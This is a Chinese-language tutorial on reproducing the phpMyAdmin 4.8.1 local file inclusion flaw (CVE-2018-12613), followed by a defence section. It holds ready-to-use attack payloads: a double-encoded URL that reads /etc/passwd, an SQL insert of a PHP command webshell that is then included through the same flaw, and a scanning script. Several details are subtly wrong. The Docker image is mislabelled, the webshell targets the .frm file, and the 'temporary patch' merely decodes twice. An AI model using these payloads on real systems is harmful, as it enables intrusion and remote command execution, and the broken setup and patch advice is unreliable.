手把手教你复现phpMyAdmin 4.8.1本地文件包含漏洞（附详细payload）
深入解析phpMyAdmin 4.8.1文件包含漏洞的实战利用与防御
在Web应用安全领域，文件包含漏洞一直是攻击者青睐的攻击向量之一。phpMyAdmin作为全球最流行的MySQL数据库管理工具，其安全性直接影响数百万网站的数据安全。2018年曝光的phpMyAdmin 4.8.1版本本地文件包含漏洞（CVE-2018-12613）因其利用简单、危害严重而备受关注。本文将从一个渗透测试者的实战视角，详细剖析这一经典漏洞的成因、利用手法及防御策略。
1. 漏洞背景与环境搭建
phpMyAdmin 4.8.1版本的文件包含漏洞源于对用户输入的不当处理，攻击者可以通过精心构造的请求参数读取服务器上的任意文件。要复现这一漏洞，我们首先需要搭建一个标准的测试环境。
推荐使用Docker快速部署漏洞环境：
docker run -d -p 8080:80 --name pma_vulnerable vulnerables/web-dvwa这个命令会启动一个预装了phpMyAdmin 4.8.1的容器。如果需要在本地环境中安装，可以从phpMyAdmin官网下载历史版本：
wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip unzip phpMyAdmin-4.8.1-all-languages.zip mv phpMyAdmin-4.8.1-all-languages /var/www/html/pma关键配置检查点：
- PHP版本应在5.5-7.1之间
- 确保
allow_url_include设置为On - 关闭SELinux等安全模块避免干扰测试
2. 漏洞原理深度剖析
该漏洞的核心在于index.php文件对target参数的处理逻辑存在缺陷。让我们逐层拆解漏洞触发机制：
参数接收与初步验证
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) )白名单校验绕过关键函数
Core::checkPageValidity()的实现存在逻辑缺陷：public static function checkPageValidity(&$page) { $whitelist = ['db_datadict.php', '...']; $page = urldecode($page); if (strpos($page, '?') !== false) { $page = substr($page, 0, strpos($page, '?')); } return in_array($page, $whitelist); }
漏洞利用的关键在于双重URL编码技术：
- 第一次编码：
?→%3F - 第二次编码：
%3F→%253F
这样处理后：
- 第一次
urldecode将%253F转为%3F strpos检查不到?字符- 白名单校验通过
- 文件包含时再次解码，
%3F恢复为?，实现路径穿越
3. 漏洞利用实战演练
3.1 基础利用：读取系统文件
构造最简单的payload读取/etc/passwd：
http://target/pma/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd关键技巧：
- 使用
%253f绕过白名单检查 - 合理计算
../数量穿越目录 - 注意不同系统的路径分隔符差异
3.2 高级利用：获取WebShell
更危险的利用方式是结合phpMyAdmin的特性写入恶意代码：
创建恶意表
CREATE TABLE `evil` (data TEXT); INSERT INTO `evil` VALUES ('<?php system($_GET["cmd"]); ?>');定位数据文件路径
- MySQL数据目录通常位于：
- Linux:
/var/lib/mysql - Windows:
C:\ProgramData\MySQL\Data
- Linux:
- 表文件格式：
数据库名/表名.frm和数据库名/表名.MYD
- MySQL数据目录通常位于：
构造最终payload
http://target/pma/index.php?target=db_datadict.php%253f/../../../../../../../../var/lib/mysql/test/evil.frm
3.3 自动化利用脚本
以下Python脚本可自动化检测漏洞：
import requests def check_lfi(target): payload = target + "/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd" try: r = requests.get(payload, timeout=5) if "root:" in r.text: return True except: pass return False4. 防御措施与最佳实践
4.1 即时修复方案
升级到安全版本
wget https://files.phpmyadmin.net/phpMyAdmin/4.8.4/phpMyAdmin-4.8.4-all-languages.zip临时补丁修改
libraries/classes/Core.php中的校验逻辑：public static function checkPageValidity(&$page) { $whitelist = [...]; $page = urldecode($page); $page = urldecode($page); // 双重解码确保彻底 if (strpos($page, '?') !== false) { $page = substr($page, 0, strpos($page, '?')); } return in_array($page, $whitelist); }
4.2 长期安全策略
| 防护层面 | 具体措施 | 效果评估 |
|---|---|---|
| 网络层 | 限制phpMyAdmin访问IP | ★★★★★ |
| 应用层 | 启用双因素认证 | ★★★★☆ |
| 系统层 | 配置严格的SELinux策略 | ★★★★☆ |
| 监控层 | 部署WAF规则检测LFI攻击 | ★★★☆☆ |
4.3 安全加固检查清单
- [ ] 将phpMyAdmin升级到最新稳定版
- [ ] 禁用
allow_url_include和allow_url_fopen - [ ] 配置
.htaccess限制访问来源 - [ ] 修改默认路径
/phpmyadmin为随机字符串 - [ ] 定期审计MySQL日志文件
5. 漏洞研究进阶方向
对于安全研究人员，可以从以下几个方向深入探索：
变异Payload研究
- 测试不同编码组合：
%25253F等多次编码 - 尝试路径截断技巧：
%00截断等
- 测试不同编码组合：
漏洞链利用
- 结合CSRF漏洞实现远程触发
- 配合XSS实现存储型攻击
静态检测方法使用正则表达式扫描源码：
pattern = r'urldecode\(.*?\)[\s\S]*?strpos\(.*?\?.*?\)'
在实际渗透测试项目中，我发现许多管理员虽然及时升级了phpMyAdmin，但却忽略了服务器上遗留的旧版本备份文件，这往往成为攻击者突破的入口。建议在升级后彻底清理旧版本文件，并使用diff工具确认核心文件完整性。